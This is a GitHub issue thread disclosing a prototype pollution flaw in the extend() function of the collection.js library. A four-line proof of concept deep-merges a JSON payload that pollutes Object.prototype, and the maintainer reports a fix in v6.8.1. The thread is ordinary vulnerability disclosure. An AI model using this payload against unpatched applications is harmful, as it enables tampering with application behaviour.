Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Prototype pollution in function extend() #27

Closed
lelecolacola123 opened this issue Dec 28, 2022 · 2 comments
Closed

Prototype pollution in function extend() #27

lelecolacola123 opened this issue Dec 28, 2022 · 2 comments

Comments

@lelecolacola123
Copy link

Hi,i found the prototype pollution when use the function extend().
The extend function at line 319 in file Collection.js/dist/node/iterators/extend js passes obj the inner value of args, whose stereotype contains the test attribute
the POC is :
var collection = require("collection.js")
bad_payload = JSON.parse('{"proto":{"polluted":"yes"}}');
collection.extend(true,{},bad_payload)
console.log("result:"+ {}.polluted)
the risk line is here:

_core.default.extend = function (deepOrParams, target, args) {

@kobezzza
Copy link
Owner

kobezzza commented Jan 7, 2023

Hi! Thanks for the report! I will fix this error soon.

@kobezzza
Copy link
Owner

Hello! Sorry for the long feedback. I fixed it in the latest release. https://github.com/kobezzza/Collection/releases/tag/v6.8.1

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants